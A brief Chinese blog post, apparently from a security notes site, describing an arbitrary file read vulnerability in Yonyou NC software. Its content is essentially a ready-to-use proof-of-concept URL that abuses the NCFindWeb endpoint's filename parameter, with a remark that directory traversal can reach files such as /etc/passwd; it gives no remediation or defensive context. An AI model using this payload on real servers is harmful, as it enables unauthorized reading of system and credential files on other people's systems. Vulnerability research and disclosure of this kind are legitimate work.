用友任意文件读取

任意文件读取

filename参数可以读取下列所有文件,在某些情况下可以读取利用目录穿越可读取/etc/passwd等文件

 http://x.x.x.x/NCFindWeb?service=IPreAlertConfigService&filename=/

img

posted @ 2024-03-17 14:18  kalixcn  阅读(40)  评论(0编辑  收藏  举报